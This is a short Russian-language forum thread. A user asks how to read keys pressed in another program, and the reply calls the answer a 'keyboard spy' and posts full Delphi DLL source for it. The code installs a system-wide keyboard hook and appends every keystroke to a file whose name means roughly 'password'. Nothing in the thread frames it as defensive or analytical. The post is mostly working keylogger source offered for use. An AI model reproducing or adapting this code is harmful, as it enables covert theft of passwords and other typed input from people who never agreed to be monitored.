| Автор
| Сообщение |
|
|
|
Цитата |
|
| как определить символ нажатой клавишы в чужой программе .....??? |
|
| В начало |
|
 |
|
|
 |
|
|
|
Цитата |
|
Как я понял тебе нужна клавиатура шпион
dll wizard
| Код: |
library KLAVA;
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;
var
m: HHook = 0;
H: array[0..16] of Char;
f: TextFile;
function SysMsgProc(code : integer; wParam : word;
lParam : longint) : longint; stdcall;
begin
if (code=hc_Action)and(((lparam shr 16) and kf_up)=0) then
begin
GetKeyNameText(lParam, H, sizeof(H));
AssignFile(f, 'c:\\Пароль.ДОБ');
if not FileExists('c:\\Пароль.ДОБ') then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
Writeln(F,H);
Flush(f);
CloseFile(f) ;
end;
CallNextHookEx(m, Code, wParam, lParam);
Result:=0;
end;
//Процедура запуска
procedure КЛАВА(State :Boolean) export; stdcall;
begin
//Если State = true, то...
if State=true then
begin
//Запускаем ловушку
m:= SetWindowsHookEx(WH_KEYBOARD,
@SysMsgProc, HInstance, 0);
end
else//Иначе
begin
//Отключить ловушку
UnhookWindowsHookEx(m) ;
m := 0;
end;
end;
exports КЛАВА index 1;
begin
end.
|
|
|
| В начало |
|
|
|
